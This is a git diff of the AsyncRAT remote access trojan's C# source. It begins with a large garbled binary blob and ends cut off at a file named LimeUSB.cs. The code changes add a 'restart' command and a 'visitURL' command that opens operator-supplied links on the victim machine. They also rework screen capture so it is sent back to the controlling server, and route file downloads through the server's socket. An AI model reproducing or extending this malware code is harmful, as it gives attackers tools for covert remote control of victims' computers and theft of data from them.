z!Zg`%z@t-p$R?_mTKCz#e-`lRtIi4!&~&y1sM`RPqE)sfP>!^%Mao`pX#i8859EUF zTVTmgKG+aBd+4LWG!~T=&oS4X;c6R0M(RGAfRG+hM-c}YyRRRVuJJR-5vptLIvCwu`3ha zioxtR@i9)eQP|D*AQ{efT{>vGj}>;5y6nTibW#VRvh@g*)q#0nsr4upJ*>y@%hP%s zzqk=-hxG)OttWx1)Yenfjp#hGPXlrWcm}>^@hFU`eg3!TLhz9b&T< zV{_g<@M@Uh0_cGo7vam2ecHbKYGwMP{o2(zbbx(WaYV%s@I{CLVIB?@?rQK=hiHr! zj%;*z;P(rB^Kp%JgFEH#?B|Nj?AR>fmMXF~=XkPw<9HU;s6(~msYOPn{TbKzRaHU0A%4s4U*ARQxYqjFxS&m64h6?a> zjap!$T*F4HL)Gh0a8g^cZ@{-ROAWn7D-_u;UJIw!?SEg3ab&(r6CVW6EG4n!r)m1V!7toDCs z*Tecds1)n8V6XJxUS+)x95$0WVW1uWa#F)%VHj%r{TqHF504w*!6^G=!%dYg56#a0 z1N8FHV7Bh(p)pbkEn>FW{2*?&7#umg5Ju@ zL)njjX%!y>jVx3X@<;1Y{oIbYi?=o}I5_>FOO;O-hki2uy6e$mlMf%J5a&<5nz!#^ zT-qSzh!MA*{jlfi{nHEoSk@{~SF34q%Vk>{|FFDS!*p%>^4hn;(gIvpwe(q=7O~=e zi}jgx3L9xw1-M*HQoQLg_|eFBH6IVTSm}}V&rv7my(~T{p7ya0y*=VO&1*k$LkB*M z`*dxA&$b1xUOgOsL_H?4zQsT2egjLvh@`O4=)@ioS?MjE4{lkZnYC_tQ11e_e%kb` z#71{Mv&L*c^6j~H#*GVyUcc!2XYZdM3RhxIK_Dx-zBW9{@ftldYhBab_tJ9tDK8I1 z+acB7#DqN_%4H+_ ztshYT%CM}owykf!`8y!fux-qjSMRMHy*>A2&NaU?o>^~3zVa+cuddJ>dHvWjN59DB zv^DS3+cT$MolucK(v{n$@pT#6a&f2Yo|p4qiP6E`dfXT`bc)-7RQ^wW=2)FRi$CcX z?ti6oeS76mqUQIE9^o;{n;FS59VXYDUVp}>FI~^|o;r21clyt6eLR;vnXpjTcW_FT zb#3DNq+Xv`>#vOaKFweFBrO=+baL;N@hyMqmNTza`%TSO{d(!*n#8FCVha3!K0j&9 z%+*CjUkd9IZ)qEQg#5gE!}H0hDT4;C9hctpkKe+khP#C%$M$OCz11RqHQL(O)cDea z=-&1vm*+0+`%A>w%#$m#E?=B|b>rjn4a3__`+euyS9{fB1ywID`ntvG&yLJK ze({8O_P)>FTeYA4G^6kjarm#__5FI|{;8AK8tT2Qme~AsdWToH_uSb3=b0b(R<5%B z?7NpWd!D|N{r**^c>Q+M=MR3*{;S5-Lb2u5#9NPlOwHZ4e)El8`_{ib_~e_vYs`B& zeBw9n$Lu?|TREcgrP$|&>VMx@I=TOu>$7X_K2+_v$G|TRRN7|!W@g>Zy}Kp&Jlu4$ z`r#Mz%_IHthuN}6rEOk4d*>(H3j)UUI?#HiNts-9c2g`%xPv5>rdY6XriM@k@s?`O*D zw&(j77w&ykz2nXi&u4eLz2BOuJ`)=|YVW33SDNI$IkfP=r9THP61L{fd_V7Yjjx?Y zp4%4uKC|9&ar@Kf8vDD8?|bffc>BqiGr9Mxcip&VXy+rBhMYb%tlL)c;ls&MpZqxg z{i+FH{k3}Uu6=yBI#Eq>#VXb7wK+fO8=Ys3V*?J3pS^Ry*oW!guOApZ@vn-WZ@alOjS-6mt^SnTd8Ka7oWlMc1{~hy+^4nT2iHob zsWn$^x|@Gz)^+baeP{J`^IP=op_g~Np83OR!G@i|>H7qqAvc#jAJ=p4;C0dSe$MRK zPOR18+TvaX*`#^oY4x@ayF5;17@ky~s`{JiF?g-1U9OUs{-cDOfXUPL+*+ zw(Zs6;4a0&g`I1repx&B3s3j@t4FsluqpdpNG!DdyyS|Q`1U|v^~$wy)(+w{Jrxw7+{Y zB52Xl`ICx?d*Q?=4h^}>}EE0-=LEQ2dg{k39OcyrQOR8EtYiRV0jN;J; z>a_edH0<_>rK9$K@y(Gz6Mk)5lw0ZOobbTAbH=@Ce86c#-^K3LqHa$7v-^}r9xqRP zef@OMM*l&df3CRnN#{dX4t{ww^Gzq+fPLTJ>AT_YE#hJQy{wzP>&2ew<(l2ONt-WL zM?AUL>y;{!?uAmn zP^5pE^${xa)E&!lZb+kIk^bU8)?Y_rUD|o+NPiEcy(@P1R1tsw#=MT)3~48NsmK^J zs-BNW8tpUI-$0BMJD9@w&D1A7RAdQssUvL^SouK^YH}3mb5@?tXdfeTMusDGwIHn` zVE3C1*l~=Zv!{*>7TQ6No~-*GiS4{Z6H&omdaz4+R~ugk#6;f|2%&L7E$iZqx{G z%&SDQlG%Qq(cQ^o{kxLC;4D-{Ho9P=->A^64hdMkl!&yVcVpf_Cd5^ZRgs^=PI?%~ z!IY}82J)vX(w~5;$lMC3xe0==A`N^{XH`_ySbq{4au%Fv1?}~L3pqpegC^Qf~I9dTi zt#di);Y6#1Vr*I^JOrcH24m9)T#*h*#e{kufMK5jd>v^EiDn??V030tg~q&vbW0u` zZ6Vj=M}srl60!Y5i6VNO5Q3pFn?%7v#6VOEtB6W7AOpNfC*vm-TuE>onxz51Eo4l< z=x7}|6^NbfOu?v(3PxJljMO6p>08JH6{!<~#;uIRA=?)$!b5;Z0gDvDso-BhMSOv8Ao|c%VK7>;sQES$VPH+t(aDXPep-wfHG5(Bx&uAf|YZzUM zIu3>bRn2B`^%TP%_QR zq=2CxSckQVooS{dqGmI)jLDY!iP&fhvYf%sSjEodTR?=IB2`uU;RNg;$%m(xUq@F} z!OJt`Jku-=kwY##r5to|pT%$i$pEWe$XTDJp-Qrpv}2mXLz{-W zkrkvfL-UmN;j!c@(vP8|iu!`+OEwVv8KDb_0iiGXhU7BTpP}943x?`4bdW5hIBFAE zhiA#ROqR=J7YN*AgRHK9N`jJHg&(3~)b>Y7=oFKUj%yODBzMVaRiZV)N=$ELwVM-!uXeBNWEZr?2)Xx& zsWXg4s&)dMNQI+Ev5c=Dc8UHS0aYmml8Hy)DGeo? zeK5Rbr61Sb6}v-O-lg08e%SHF2Tz8}<*6{FAs%8eeEm^z8qjF-ZMdp*Fz<(I|2-bq zJ^J094b4b4G-xPX!D8E~D3J^;YxF;wD}o==xRwq6S#AQKLPq*d=1pW|B+`5?N^K%q zV?{M3nZ_ibsVW@Hx=xrMw>AD6O3H@1rt^1TN>s&Q;9J?)Ph`O#!02)<4hIesJdyo) zoWjHVYbkLGu>sAA9s=}3PP4pX|H*u_yqfSsdP;8T0^l^hE{j2qQx=qMFzT)H`ayoQ z%FAU`V6-)(J2_1DB~WfA=IzI?ycdkMno)noab~myL1_ZTZYHx)w>VXEqQtJjZhmCm zNZv=YNJyR;Skje^$1~<}8)wY?dOA$@g3yi7j`;CNOX((!*2iguvzZc&=O0kHn&%Us zWe09An+2yB{Wl${$M;U?(lgNz;!MdsM*sK9|JL+96}EPV(Xy$xTl*F8rCB4nH#IB@ za_GI2h&lgMH39N}isFa@_E}!Y!5Q)IUjC=1Q^=**4f+(~m4q}j5NWY5Qls|atATW`=&ijG3cRHdlkqF&kC^vz;HIXlL$Dq7Ma~deozJnV{Z$>9F zX|Cabfs$zf?|^m-!jMYk>tWvTVw8{T20bPBO-SP{xMpl|?F{_h2`EKP$p3B0-Hj!y zdT?-OW2?MGKcrb9NOvbAP4`0jNf^>m6ltpfq-QE3&2&MU4o$bpdz{kQXd>;Bd&B!< zvtT(-A+@;Wt`_KeHPCAO1ei6oA+_U4ylS(nNhC|SEL}YL6*AvMPPt%kYH`_S3-N#o zSPpi>a=4p`_&DRLkimkPnTncinSN&|H_JN-3sJMYqm1rjbTH5$QZwavW^%0%89UIKuZUMvt^M*mXXCe8DLVEmfrRa0!xHx0xq zW1*+BU!X7;FPx!# z&DTB#Kygwlnn|e(h?=CyXkMzB!UGNXz$wLH{dIp&s*!pC^c;}Zft&(7sm_6d06CGy zQZrzhnU=habXY$wae?ENq{I4C(IHe{QcpS0Ae2G%6v-5J?D!GMVP!o?3*T zE+ff9chZw}D0yfhR)!=GEo7+d6ME=D@??Y_dN|rd2jQok>?1koB_lX*LJ#3lvMfXo zeaI528Rj9pt|-gULq7*X4;_ekSc=d?)&yuv4u&}D{pQhz!W}mI92WJ|vkeU^fqGxh zjudXuC80hAkl;Y*1>E_`G8`s6Yr>D@M3e*op%eIg6+co$;f{=bq=?3lU2>d63|lNY zSSD<-gRt7ej|>WuuM4_EJX4qHzR; z^Enwt87I&xGQ!O7NAaW$o570HXmtllHqN9q90=>xmXTDijzd=2xRBO!pk(86THk@9 zjN$~EPVO;(4{LC8HDb3@gdEi2}u#AZtoqNivp}&B(wC z=*VG$lPi-b*zo6*3Gqt4H5tm#VS+=^mVC>S0Z~=jj%;VBK$9KOn-|-Y?-~E7fBI)0a5IE1Wn?I1~d(3zq!SP-Kx#B7@RpC7W0oD$u;*7m#c+grR)R zJKjvQNuDfIC>Fr4?Ife1SBtj^NU@wFgDpthmb>3Mer$GF_b)KNV+(UA|q3zdat9#D@KvA4CQMy z(RM&nB^lJ~ugE34B}9JqS)<4!zsl&I&t}CKVot^D50S=c9PwcbfizCzNCk!tYjB(j zNP8LKFpVcOWrV{tft-{P4%0-(z~IE2L}(fsdRT)KZxT^3l&^X2b3!qR7y&{5(x^=$ zo{}mXwaMf{O;(XjndxLKTV13voI&>2ks8JI!cLAcB$;h5*ZoXK&S3X5$q!7kfOS8U z{ESE>`5NB$uyQ83EjNn(&LY0}Gy?2Ke~U;98KJ+k$rKr(zh9C=3`tJRA<=B9lh%Z} zr1Ph&73Rbu;?lGPCDSFOX){D(K1ochrCLgEGnh}fm=>z#q;e(-vC)NeIr)qsX_!`! zt_(^3t|0wn8JfM4ESC|Q{S~<)BQ$#zachok9%i#?bxCAI4UW^Aa^tjyq%&11P-{pt zhNL*HA?+j?n`&!Gj?^d{v~?t>6?TzNxov?|?6JliwGt_QnGAVZSByUUI5o)RxudhH<*Oj9y@4~b_;GJ6lH zDz}Mo+Dmd|^jrkEkF1j+2I@Ofl$XoXgfF?T7=jwB0g#-0c|3LOT&;a#$a-E?9ve_$N{Uag0nQ4Hg3hGOw ziUZD6|3n%(&^+~J(w?D0Qfv0r|%l{=s=CN274{UYL4k=I-!#r;@on%_dgHP^{q z89fh~Mz51cGU}>`*4!X38Oqn#6c4x??4>ze`*6{`Ni_Yjm3$2@nm37wp#lvqnzx9T zENd;os(Fh9%ff<+Kfql}q%16~7!T(OiLxwJJ%hhPs>rgs>LNgOW!Y)i?cXIWBn0DH zO>>vLa-eDSSF(EmbBXNp?V$M$ULKUtQD4!jxlh{5aG$TJc}O-ogi|$7h-RRq8tJk? z^MW*$(eb!7npcEmp{$6!i`%GqL+~#ZfcIoZ|N*-S%zcpLTAY`9D5U8Aj|NAX%gv5NeH9%xz?55b|5qL zqAi9>v2coAuJxvi9cZoAhi+#mpS%q|uJxnOB^g`8{AssgCH2l}1L$rC`dJ%9uQMdo zgVS2i;gV{x*L!U!ExUCJhvQvB@<>sjwt`Am78!N;2wRe!OEKzV${>p_u3RgL^orDj zhWLl*66tLjIr|HM;I$cS2-l(vl0?af5+vx7s8K@XNn`?_OoJS#KbJz|W%MT0Oe@hE zGE#?`X=U0`Mh`+4@l|L)8Qo8e)m5d#WppjElCBz^Fhbg`kltQOTAdcjLcOJ~t_EE$ zqcp!Fz9!u)qb|InsDQeR*GMZnpv#t)kDx*2R-F0>8V;P1Y}4gIsS&H%JKLJ4}~O4@rnzO&O#6g!+zRyOn&hF=CSLQyKvfFLgZw*6W(m zRE7%3VfA`lCha4m-hf)r#j@tQ3R`ro=v!H4i8VQWMjwxnT6t{taq2`p$1;D3TkJe_ z*K&E$gI*aAvOria8wS^Q>OpTKBx5wqf*S(*gP{UV^z5mLR^8!gLlEgDTH$ueAvMpL^i!?kD(ohQq1EgD0Y%d-2H1!OE;C(B-2%px62zh!U? znOPx&jH6d%v_tiP8%JwQWj<*xR$R^(&;|_UYlG#(*%l79WmT1yfVlnI*Q4pEuuJyj$=^TGfkq?Wg+f;Cex!b!ad>?IEBP!4r_4h zGnJ;v2)91dXvtkOZV}-*WSXRjd+9Ia?xl^;7qs*SH<`{9%fPC17VXa(l~%3Ubch3) z>1;YhLa=|l=JX|9SBPB{uv@hS)MbX$As*N)qzz?+=QWFHo{aFkW-;9^BRsEJLdC~2 zM1Pl3!7ep}{w|}PWrY4Nr(enl{ar!JotQUuqGuUG2hD)4 zh>{R|>PA=5nloAV%%?T$6ulTlHCTuI03ESueriq!*jc%iEbESJq=I;*LZJuNs`n!|Pml68Ai(Zfs`n#Jt z&zCgO-#xUhjM#Raj+7DlyN_;>5!(@_mfB^6x4UQQe1-}%fv)SE&(Y;Figo=4(0UnRUi?76mFr<%{6N2xWGpYvQ}^X) zc0Q@LEi6>8~_ULg25N{zhvvB!%sF z+QNapalTKtGbBar0e!WVdB~#nkS1+MR7mCrn8~AZ8-z#nOGzf(Q$C{R9jIEQu_T<= zKce0;3QD*PD43x_&9u<#`o}avMsq^%0E(B94swpFt`nmooZ6G5r z^(#P4WYpK^Z&Ck@wvu6v4{vxzJIZK1uQNQS-DR|ecLCI2M#V}G!wZ@tqx;H2)iR^ODYxky`UgFTSMnB}k$Z%;XgncClEH^f*L$3>A`` z;OqKVbl`4DmaiCXcts!Ykp`O(S|oPaG!)Gh8HUTDi{2>6n`y` znr9=A7~YCBPlm}}=M8_;=`u0`dPgtFs0N_-)bl&3Vsz9?1K}FWXbNqiqg*=~y(2y0 zZ*S(x=qvh^jJod6H3xC;`Z zZIfp3D(zKF|!A83*N1U^_Vz^LLZ5+Wy5F-8p+;y{UjQXQzWQOkWII$$lMj_V{L zO@@C%qZ8L(M!2PS=7uwrPyRM#a?adL8R4Eu&s~twVdzlLy_L~2k1qiAJHSjMPb(%G z4V;~!d=jOPF&eo|2SgOYFNKNw zL`FlYlDcx8Wdtv7Q8TCbUec@-wt_Qrt7NpV;!UHOOM^2lkQR_;Q3<@6%Q!4I8r4Sa z#=Vx&3Dr}h8)rBo$xf(}3>L0}j8dW|89h0hjOMvaGJ0|AWaJu`X!Pcq9F^+D`ehIw zuDgsPyfQf-ZV({ozkv98Z6?0lbXnLeposV7R>-KaOJ|)Qw@XIHD>l*jb7y7b3ueRL zS~@0mF~ud53*;)uXse%~3*xq%mShJb+o*%N=Q3&xvS9AP8IXx^m+}Ihp@wkJ5dz}C zwh-=b8TmojDsalPk}L|sU4b*m=qm_fC})w;W-u+33zX5?k$IuOW zIeZA9sSJsjvl%3eTg+e)+2pwzgohkxql>^@aG`pzY-T=$hfKw~dRtrYv3$%nF;7bV$mQ7GHOP$B$99oOgj%G|~uQCLVih9SBj zBOfCol;pu##ZzMkQwb^zJdp6YsYel_Sb&j^yGVqh%{S}ePVu?~%~Tg~>)zo1Uk47`e1CBt&s_ji zGE5V>#|+uYKCh?l6FK28CL?z|wU$X-RY2f>At^|yX_?F|mxYnR>6R(nPcrJ^H`p?b zYyVcN*u!t4A^l zUS={IQWjnlgx?zwj#ykVmmhc`tC{70r!Fp(EJ{WFPoW=E36fZkA2+C)i(k8N*e`LBVM9VlzM6xZ^t{X_o$-9B~-&tu4O873~2Q&B{%vzqb_xNxIOT#2dab_zBhOvCK%0}*g%^`TF)L{!V z#l?jqXW82HpEKj*z)tf;gO0OBrXGwg5AT#B=dvf#=WGc=X*nJ7e^HWkN;`nr5A%hR z07gq3K+eCFrL|-hL{6IhC6N;`S4)7Dw=2Uxw4N#d7n zt!x?M!3GZJ1toqE8;&@M@Wqn_tjj{yjlcwMjDL}>2Q$5DEBW)nJ{P&00#nVX;wGKzosLEm|G%0ei9Y5?p5axX?5K038cV(MSGn>!W%bMC z|Gz7htx&#nMO8rw1)TCr43-2rF68`uK%a{RC|D<2ubSZvf*#wD(<~TMSJR2be>CMI! zGlL`ZJg@^CECrJ)WvS%l!hexUZE9dZr5vI};&`fXon0uh>#>yiWlj0G{ISj-Fr7H~ zZ3H&`v3^<3zb|EM{r`Belrmqc))%%I|Gudz+s*%0F1^0Mq9lR`W%p?RTN599jEy#q z!Ko-+*FWAn{d3FzG5^b1`u~%mWle|n#d21cE;S{4w6d|0b~{hmsxSp|UI9P-DBIls zr40FB>g9j#{+|Q*-%_tNteceNvaQX0R@TD?m68Z%`c*L!K^B{@5?#!u%D+*m@*9}z z@P89!4Sj4@wKAJ6AGTCWbY?X6CDD>vW%fU{Qm|1;P_~?FVjeJ>#MU)Qrz2Z@x|X4m z1Cstfb%yOoby3QZNdavCFRAW^1%#8WE3M3t{?Z!9Ds*RYk}69be_WQ#lK8#K)RoFb z%#GtQ*w@trxc`ISl(Dhd3u#3O=YsSvwyg#ZY^m`>NfTJH;a-4wzZP^jlBq!sjw@Vp zpdm`61qyx?59Pnu3SSK_PCQ9rm#D|Ag=%0BM`pv00gg3*qYz2UGTl^S_9Eq26Fk8t z6mk=i?Pv-t#*if?8>}XJ4mjgk$7(~V(R<8j%0|YIVuSk<>hffdnF~~q%@A++P3>Cv zQjskXST#Avx~B&0;0{Y1yf-Sj;riI84><~UOQkG#N41jeC2{XmGWJpmOEgJjA$3hf zF$T7TX0!4$R@ohFhYdBG7a!AAFhCsp%O53^3ZCPDzLfLQrFMTHat^Sue+SDs{68m| zd!ha;|M3s#a`;;!2#%5o(%CL{iAMk#2ETsl0KbXoPEGKa2Yui-_4q4WXZ9;wXZ9;w zE$}no$4f}v$dUMLppBzP5?@yKW#tO2T!EF{;3q`0L5j43$iB4fcSP}U&%TG$VhyD; z+6?GLvWfI^y$>(G9)Krco5)nleVRq^1(Ym;ubP|#olGvC)UDVWUX;Z0Z;Va^+JSpQ z@C~Tfqc;e2kbdy+xdm|cLOb|IUvFk^Z)R=_cq(*=>jt!l zYfnyy05V8R{~`|UJ&8@b7#+!IKDlL{!B?V-;_E6Z(dt2;C~}x*mFUjY)=)-Y`^gkN?g!3vQS@V8 z=9AVzy`YQ_sd5-6hg7L(rXyJy9qunGvhYhWR;KOa)NxE-|DKpJmTUX6`Y9Z=NopYm-tn zt7(y7?r5Q?5(cLC-`zCmeUz+!Du_(WoT3Y`n$QiZVt5> zMyPK92WB~=T6lkK1<_(n}uZQw2-z< zoQ|;xc?>2by#JO@mcuWG9x#s|urNMg8SsFG{Q(R6L^8>>t@CSAM6;Y9ut9mw^q;c` zJ!gY*jNo*A&RTd*UWG^M-;%8f)yP{i6rLDkB3IK>F4MKHUdz1?S*|y6d*YXidM~a) zz-j=eBev>;xL&Ti^bzofGkpvZTzz=uE`m#BG&Tv#{y^i&ws^tN7IZR5TW(}hMS~aj zz;i3K^C#(`j^Jv=B^kPav>!$3K2*zlmOb_rY1Ug7x7id>~j$sMi4eiXK$zG=nn^<4C*xxd25;;--n_)F$DPZ#K<#upe z;c>fyVutVFFmyY(4e*eCKj`2(KP!AQQBYh`6fn&WaSDo|cBUBWc(}k!GCEVN<;8WS zOO5elo&RPsjJ7s^1L27U@@de2hT=Izm-fVnL>bg{Rc}>1E)&hEqGz8j}HUYYb zwgNhqc5peyy@JQD3P{)tF!!(s(;%N47wK-w=e*$=^%Kq*b;J%x6a5&YfcAX5-$ zGi}vJ@C_{j=p0XsHJP}-66@;Y;g6?6Joq+o^-Y!dSK%3^TKv|8OjA0a;ors-PoBr) zz^#OM)Z#H7`P>ELEzZQ9fZ;ZA%NTVJ6bG0#!4Tw_x6X)-}(lm?@NNsJ1;GZRL1Jj)&_W`Y8 zX#>>5lF8-sqob~v^7#YFUMna@|B9kgKjHuDxq(mjCcB zEjLT0G3Sfir>X@+tN1fMq3de5 zW{S!Bjc)n8XiYunR>)&k7xIaz$K0N9-$tHwd&2+f)!G2rp7N7hJUN^A0QeIuKe_c* zoC$snv{LkDk_CTDHv{MimCAjXV!OZIJ&2o^h>O_kfUWvriqm*sz53i}_}`6%*?Mf^m?#*|Db7e^yq5rdo+fk-Dtq_{7EZoV+ChRRjl zcPQ5D8@R_4x0p`un7rMfd^>fu{uoH}+|Mc6M>ThS0_9BZGVAQMq6e&@uN7AMdwuC(sOvd&XMI zDN%m_XNRgLaBw(wkYk3wEyF;+A5B;0SQH-lP&U(vKr=`o&}JS>fM#;58BN;6zIHIW zpV4ECo@4YfP{?go{*BQmKxa>zP4|kA`TIlze;1-1&{zCppl|sXK#5|ZP6PYi4e&dC zjbaXzofWfOG{i+Q7pR+J8E`xmi=gbQSPnEvvB6bC`Y8sw!~Y3ZF$idmVio8N1&%Ap zSKNocz%>=9fh<=z;h(Nkc*FlN>hG-nkc_a(`sAaxpa<#?%(!) zA#5~)uYYRCzvtZq={UtP(^v3sKm0qTXl~ZPjpS30**pJVZC3*vRdL66_uk!mm*n2v z+xy5Rxr;~n8W@uB6|5~ZTqPB%i4#6LO$!x-K+8vhkRUD4%X^jrZBxzAn;ko%jSlT3 zApsio5fB;5h%lJ3ltGJDu-d99DN3tF9h(03y#TS4nRceVx%=(ze|P_1yZi3mzI*@I zMz?0>=v(!N^)veW`tsoF;Ln1O1m6l?4#q;Ip~;~op(CMFA+J$xY%qRqbQvd%^Tt^I zC4MjeDc{GB^Yi=)_k`Dn9|%`Q=0)z0JQ}ehXCr@#T#ArrEIK>-z3A5Hf#^%o{%9yx z6WbWu5$lV2aejvwa5#zel3d~!haRV8nNN$cLyq7?5{KrsIL-$V5e3^ZpP>(J^FPRE z9Kkme_Wz~Jpi<((6Lez+=Xfyl$G)S$7(W5LQ1Dyep4jc!gzqW31NhjjcLKLfl6Z35 z-N65(_GZ0?@~O{^m14f?pf%?E9>n?d?FF7KcnbJPs`naNV_rhu6+Dy$Q>0qDgUbtL zzIB4ciRBVY#~r{{;Elc1#FJi0&q(n@*@f}D zkQo$wW1}e(AHz=5k&!!r59N0NlWI3`ebKLh`#k%ALEp2$JO^_%S-X0ooUkj3@5bd3 z*K^|vHes`9)+iI$SGF0rzkD08gFgsVNLjaT&;J$f3h`^?UWDNYk;TH(PPa!HVi??t zb+QDg;WnVpqskPW?euNjlD7o`WpQx<7$P=eL}-YaR}IQf5FsK&dJ*73Bl|>e2Q9(@ z`x!bH#DhTWuabFawq2a>ppy`dstZCG*(FAH($T{hIgQ6ZAQqH^zb6f-dfCA<*v+Bj z6|t(5*7$LB$5|OApNQwt3q=F>%2UF{-#cjqczzK#mNW7NQL&3wEWpkfeFDYVKuYG( zoygAxBJd4v>&8DMfQYw6+mZhUkYYQl6Z!cLE~H(cECMpJlXhi|a`Ze$`%!yVeA-1T$ABjr zkUW8iA>5`QzOBdT8+w?(& z&#qh5&{#L4ZtaT3hShT#7d1B7P0!HbIrig6=?a!Jx8bga`ek#!v#QSa9j9f?o_>OE z$+JItnSNU>T~^n4&yD@plC}SqZqGl5Js6RFofg{rU#H#7Uh^isq}X-u&;{PYqBL%I z{w}G<@|%r4)wv`^#^cw~WOBPW+fSE@V}GHK+P}O=6-Dg-EB%r9+TZBYcJYVwTRA0* zu_D)E!>);}A&c-k;j`sZa2!%E+6QP#Y#5+5p_;w#zOeP3uS{rL3Leun=k5?tVnr4{gye8pMDZ`A@ z(M;EM{I&tgXIXPI?M(qIy|$AlU_B&7#P)fRcbV!^os2| z8#QJg8YR8pNcE%_d7xiaxLFISC__#H3ZiVkp(7~fOh-dqRl$*)O#x`C8|Eg%G!1hz z1URLD>f_BX;GNWUP4nZ%a^C#0VYWapZ_Y|Io5bi4`!Zc1mWNnNrU~l71`QuvnUGn< z$IYxGI4iBC(1M^_S`UG@`7k$kaI=k@J9Xw5zQe&b2Y14g30)yH4i7OF4>8HC-EmWw zYfBUR~Dx%qMsas%cDz0dU3@Kb{*-;~GGli3Xmy7LQ{JIR5j; z{jv$_biX67R>4EsT=UWxdnFG4khmXq$7Mf_cr*y870ECgMQg>3Fe{BZt{(-rnYHfV zM!7}BmM|L;s`KVhZux_t1Q;^nK$s;m0ai?kXv~?4H@DNlfw`fuC|i`G0)<>5+@|L@j48Erh1HWUdb!vP?vMd$V>UKV6if9 zGpwkBHCTy7!L5QM7F$Avvyt`6327yLm^$1VDOw^df65p+NFeIDs-j(;KTf+6IVY?V zOcA+^tO;0s6w6yKm#lat!U|WGyQMyd!!%t^8>ncd4b`i2s}lCik_QIEs={ms!d{2s zu&>F%!`)twrdP)bmuI9A|EpXqr3-c{Ir#1GF&8qBV7D$|H{n8kcK2%dJ)1 zx{q6O!Fth-8kXrMn;jY3a?ui~C|&N{+7}9O|X9)L^CT3kEm@5@#r3WQ=$~8`N|#fqDTcs|_^?*>KR$ z4BccAZ>VTky)K&sx1Pe0NDFDwwNUz?J{ey-!k5qPpnZ0AKH?9IkfDLEzm#G;U~8)U u(sf_eGM{Q47V}J>%36no?Kk3V92Kbo_6u7tWS@B1!l|~AVi#%ac=eytR55Y@ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 574dc53..2ea73c2 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp public static string Password { get; set; } public static Aes256 aes256{ get; set; } - public static readonly string Version = "AsyncRAT 0.4C"; + public static readonly string Version = "AsyncRAT 0.4.1"; } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 37afd24..f1c9b4e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -17,12 +17,12 @@ namespace AsyncRAT_Sharp.Sockets public string ID { get; set; } private byte[] ClientBuffer; - private long ClientBuffersize; + private int ClientBuffersize; private bool ClientBufferRecevied; private MemoryStream ClientMS; private object SendSync; private object EndSendSync; - public long BytesRecevied; + public int BytesRecevied; public Clients(Socket socket) { @@ -75,15 +75,15 @@ namespace AsyncRAT_Sharp.Sockets if (ClientBufferRecevied == false) { await ClientMS.WriteAsync(ClientBuffer, 0, ClientBuffer.Length); - ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); - ClientMS.Dispose(); - ClientMS = new MemoryStream(); - if (ClientBuffersize > 0) - { - ClientBuffer = new byte[ClientBuffersize]; - Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); - ClientBufferRecevied = true; - } + ClientBuffersize = BitConverter.ToInt32(ClientMS.ToArray(), 0); + ClientMS.Dispose(); + ClientMS = new MemoryStream(); + if (ClientBuffersize > 0) + { + ClientBuffer = new byte[ClientBuffersize]; + Debug.WriteLine("/// Server Buffersize " + ClientBuffersize.ToString() + " Bytes ///"); + ClientBufferRecevied = true; + } } else { diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index a7adf87..4f12e1d 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -61,9 +61,6 @@ - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - ..\packages\IconLib\IconLib.dll diff --git a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs index de4dc01..6f53ea1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs @@ -71,8 +71,7 @@ namespace Client.Handle_Packet ReceiveTimeout = -1, SendTimeout = -1, }; - Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), - Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); + Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "socketDownload"; diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs index f3114b4..dc957ea 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs @@ -71,12 +71,26 @@ namespace Client.Handle_Packet try { ClientSocket.Client.Shutdown(SocketShutdown.Both); + ClientSocket.Client.Dispose(); } catch { } Environment.Exit(0); } break; + case "restart": + { + try + { + ClientSocket.Client.Shutdown(SocketShutdown.Both); + ClientSocket.Client.Dispose(); + } + catch { } + Process.Start(Application.ExecutablePath); + Environment.Exit(0); + } + break; + case "uninstall": { Uninstall(); @@ -96,16 +110,18 @@ namespace Client.Handle_Packet { case "false": { - if (RemoteDesktop.RemoteDesktopStatus == false) return; - RemoteDesktop.RemoteDesktopStatus = false; + //if (RemoteDesktop.RemoteDesktopStatus == false) return; + // RemoteDesktop.RemoteDesktopStatus = false; } break; case "true": { - if (RemoteDesktop.RemoteDesktopStatus == true) return; - RemoteDesktop.RemoteDesktopStatus = true; - RemoteDesktop.CaptureAndSend(); + // if (RemoteDesktop.RemoteDesktopStatus == true) return; + // RemoteDesktop.RemoteDesktopStatus = true; + // RemoteDesktop.CaptureAndSend(); + RemoteDesktop remoteDesktop = new RemoteDesktop(); + remoteDesktop.CaptureAndSend(); } break; } @@ -210,6 +226,17 @@ namespace Client.Handle_Packet } } break; + + case "visitURL": + { + string url = unpack_msgpack.ForcePathObject("URL").AsString; + if (url.StartsWith("http")) + { + Process.Start(url); + } + } + break; + } } catch { } diff --git a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs 